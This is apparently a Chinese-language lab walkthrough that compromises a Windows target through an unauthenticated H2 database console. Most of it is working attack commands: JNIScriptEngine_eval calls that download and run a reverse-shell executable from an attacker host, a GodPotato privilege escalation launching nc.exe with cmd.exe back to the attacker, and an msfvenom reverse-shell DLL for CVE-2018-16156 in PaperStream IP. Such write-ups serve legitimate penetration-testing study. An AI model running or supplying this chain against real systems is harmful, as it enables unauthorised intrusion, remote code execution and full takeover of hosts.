端口扫描
TCP
nmap -sC -sV -p- -n -T4 192.168.103.66
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: H2 Database Engine (redirect)
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
8082/tcp open http H2 database http console
|_http-title: H2 Console
9092/tcp open XmlIpcRegSvc?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -5h47m54s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-05-07T14:07:00
|_ start_date: N/A
UDP
nmap -Pn -n 192.168.103.66 -sU --top-ports=100 --reason
445smb
enum4linux-ng -A 192.168.103.66
smbclient --no-pass -L //192.168.103.66
没有太多有用信息。
80端口
可以看见显示H2 Database Engine,H2是一个用Java编写的关联数据库管理系统。它可以嵌入到Java应用程序中,或者以客户端-服务器模式运行。
8082端口
H2 database http console
点击Test Connection尝试空密码连接,发现成功。那我们点击连接
发现版本号1.4.199,搜索“H2 database console exploit 1.4.199”
发现
利用
H2 允许用户通过编译和运行 Java 代码来获得代码执行权限,但是这需要运行 H2 的机器上安装有 Java 编译器。利用 Java Native Interface 加载 Java 类,而无需使用 Java 编译器。
成功执行whoami
拿shell
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("curl \"http:/192.168.45.196/rewinshell.exe\" -o \"C:\\Windows\\Temp\\rewinshell.exe\"").getInputStream()).useDelimiter("\\Z").next()');
CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("\"C:\\Windows\\Temp\\rewinshell.exe\"").getInputStream()).useDelimiter("\\Z").next()');
提示:监听端口最好选择靶机开放端口比如80,8082等,我最开始使用443无法得到shell
第二,"“C:\Windows\Temp\rewinshell.exe”,记得用反义号,需要转义
在 Windows 中,出现“is not recognized as an internal or external command, operable program or batch file.”的错误,
检查 PATH 是否包含 System32:
echo %PATH%
果然PATH中不包括System32
临时修复(仅当前会话有效):
set PATH=%PATH%;C:\Windows\System32
然后就可以正常使用shell了
或者可以使用完整路径表示
C:\Windows\System32\whoami
提权
发现有SeImpersonatePrivilege,可以提权,这里使用GodPotato,比较好用
- 检查.NET版本
reg query "HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP" /s
- 运行
GodPotato-NET4.exe -cmd "C:\Users\tony\nc.exe -t -e C:\Windows\System32\cmd.exe 192.168.45.157 80"
成功,拿到proof.txt
方法2
PaperStream IP 是由 富士通(Fujitsu) 开发的一款 智能扫描软件,主要用于优化扫描仪(特别是富士通的高端文档扫描仪)的图像处理能力。
可以看见PaperStream IP,寻找一下版本
C:\Program Files (x86)\PaperStream IP\TWAIN>type readmeenu.rtf
发现是1.42版本,经过google,我们可以发现
CVE-2018-16156,尝试利用
1.生成shell.dll
msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=192.168.45.157 LPORT=8082
C:\Windows\System32\WindowsPowershell\v1.0\powershell.exe C:\Windows\Temp\exploit.ps1
可以提权拿到shell,但是这里我没有成功拿到,重启了一次机器也是这样。